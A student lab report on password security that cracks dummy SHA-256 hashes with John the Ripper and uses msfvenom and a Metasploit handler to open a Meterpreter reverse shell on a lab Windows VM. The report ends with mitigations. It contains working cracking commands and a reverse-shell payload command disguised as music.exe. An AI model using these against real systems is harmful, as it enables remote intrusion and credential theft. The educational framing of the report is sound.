

PASSWORD SECURITY AND CRACKING ASSESSMENT

Module 7 — Controlled Educational Laboratory

Project Title	Password Security and Cracking Assessment
Tools	Kali Linux, John the Ripper, Metasploit
Environment	Self-controlled virtual laboratory / Windows VM
Scope	Password hashes, cracking techniques, controlled payload testing

1. Project Overview

This assessment explores password security, password hashing, password-cracking techniques, and controlled Metasploit payload testing. All hands-on activity was performed in an authorized educational laboratory using self-controlled virtual machines.

2. Objectives

- Understand password hashing and compare MD5 with SHA-256.
- Analyze SHA-256 password hashes using John the Ripper.
- Demonstrate dictionary-based password recovery.
- Demonstrate brute-force password recovery in a controlled lab.
- Understand rainbow tables and their limitations.
- Create and test a Metasploit payload in a self-controlled Windows VM.
- Recommend password-security mitigations.

3. MD5 vs SHA-256

Feature	MD5	SHA-256
Hash length	128-bit	256-bit
Security	Broken/not suitable for password security	Stronger general-purpose hash
Collision resistance	Vulnerable	Significantly stronger
Password storage	Not recommended	Still not ideal alone; use salted password-specific hashing

Password storage should use salted, password-specific hashing/KDF mechanisms rather than a fast general-purpose hash alone.

4. John the Ripper — Dictionary Attack

A controlled SHA-256 test hash for the dummy password 'password123' was analyzed with John the Ripper. The Raw-SHA256 format and the RockYou wordlist were used, and the password was successfully recovered.

Evidence: 01_John_SHA256_Dictionary_Attack.png

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~]  
$ cd /usr/share/wordlists  
(kali@kali)-[/usr/share/wordlists]  
$ ls  
dirb  dirbuster  dnsmap.txt  fasttrack.txt  fern-wifi  john.lst  legion  metasploit  nmap.lst  rockyou.txt  sqlmap.txt  wfuzz  wifite.txt  
(kali@kali)-[/usr/share/wordlists]  
$ cd /home/kali  
(kali@kali)-[~]  
$ ls  
chand.htm.htm  Desktop  Documents  Downloads  eVbmlQ3m.jpeg  game.exe  hash.txt  mckgIIHM.html  Music  Pictures  Projects  Public  sha256.txt  Templates  Videos  WfEjyNZz.html  wRhWxDbS.jpeg  ZrXhtXn0.jpeg  
(kali@kali)-[~]  
$ sudo john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt sha256.txt  
[sudo] password for kali:  
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])  
Warning: poor OpenMP scalability for this hash type, consider --fork=4  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password123 (?)  
1g 0:00:00:00 DONE (2026-10-07 01:52) 50.00g/s 3276Kp/s 3276Kc/s 3276Kc/s 123456..sabrina7  
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably  
Session completed.  
(kali@kali)-[~]  
$
```

01_John_SHA256_Dictionary_Attack.png

5. John the Ripper — Brute-Force Attack

A separate controlled SHA-256 hash for the dummy password '1234' was tested using John's incremental mode. The password was successfully recovered, demonstrating the risk of short and predictable passwords.

Evidence: 02_John_SHA256_BruteForce.png

```
(kali@kali)-[~]  
$ echo -n "1234" | sha256sum  
03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4 -  
(kali@kali)-[~]  
$  
(kali@kali)-[~]  
$ echo "03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4" > brute_sha256.txt  
(kali@kali)-[~]  
$ john brute_sha256.txt --format=Raw-SHA256 --incremental  
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])  
Warning: poor OpenMP scalability for this hash type, consider --fork=4  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
1234 (?)  
1g 0:00:00:00 DONE (2026-10-07 02:00) 2.040g/s 133746p/s 133746c/s 133746c/s 123456..moofe  
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably  
Session completed.  
(kali@kali)-[~]  
$
```

02_John_SHA256_BruteForce.png

6. Rainbow Tables

Rainbow tables use precomputed password-to-hash mappings. They can make recovery fast when a matching value exists, but require substantial precomputation/storage and are largely defeated by unique salts. No separate rainbow-table cracking run was required for the hands-on portion.

7. Metasploit Payload Testing

A Windows Meterpreter reverse-TCP payload was generated for the self-controlled Windows VM and tested only within the controlled laboratory.

Evidence: 03_Metasploit_Payload_Generation.png

```
msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=4444 -f exe > music.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=4444 -f exe > music.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 355 bytes
Final size of exe file: 7168 bytes

msf > |
```

03_Metasploit_Payload_Generation.png

Evidence: 04_Metasploit_Handler_Configuration.png

```
msf > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.232.130
lhost => 192.168.232.130
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.232.130:4444
|
```

04_Metasploit_Handler_Configuration.png

Evidence: 05_Metasploit_Controlled_VM_Test_Result.png

```
Session Actions Edit View Help
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.232.130
lhost => 192.168.232.130
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.232.130:4444
[*] Sending stage (199238 bytes) to 192.168.232.129
[*] Meterpreter session 2 opened (192.168.232.130:4444 -> 192.168.232.129:64133) at 2026-10-07 02:28:01 -0400

meterpreter > sysinfo
Computer      : CHANDRAPAL
OS            : Windows 11 24H2+ (10.0 Build 26200).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > |
```

05_Metasploit_Controlled_VM_Test_Result.png

The controlled test resulted in an established Meterpreter session and successful system-information retrieval from the Windows VM. This demonstrates the potential impact of malicious payload execution, including possible remote-control capabilities depending on privileges, endpoint protections, and network conditions.

8. Security Impact

- Weak or predictable passwords can be recovered through dictionary or brute-force guessing.
- Password reuse increases credential-compromise impact.
- Fast general-purpose hashes are unsuitable as a complete password-storage control.
- Successful payload execution can provide an attacker with remote access capabilities.
- Least privilege and endpoint controls can reduce impact.

9. Recommendations and Mitigations

- Use long, unique passwords and avoid predictable/common passwords.
- Prevent password reuse.
- Use salted, password-specific hashing/KDF mechanisms.
- Enable multi-factor authentication (MFA).
- Use rate limiting, lockout/throttling, and monitoring against repeated login attempts.
- Use endpoint protection/EDR and application-control mechanisms.
- Apply least privilege and network segmentation.
- Provide security-awareness training.

10. Evidence Index

No.	Evidence	Purpose
01	01_John_SHA256_Dictionary_Attack.png	Dictionary attack and recovery
02	02_John_SHA256_BruteForce.png	Brute-force/incremental recovery
03	03_Metasploit_Payload_Generation.png	Payload generation
04	04_Metasploit_Handler_Configuration.png	Controlled handler configuration
05	05_Metasploit_Controlled_VM_Test_Result.png	Successful controlled VM test

11. Conclusion

The assessment demonstrated password recovery through dictionary and brute-force techniques and showed the security impact of payload execution in a controlled virtual environment. The exercise reinforces strong unique passwords, appropriate password hashing, MFA, rate limiting, endpoint protection, least privilege, and responsible security testing.

12. Ethical and Scope Statement

All testing was performed for educational purposes against systems and virtual machines controlled by the tester. No real user credentials or unauthorized external systems were targeted.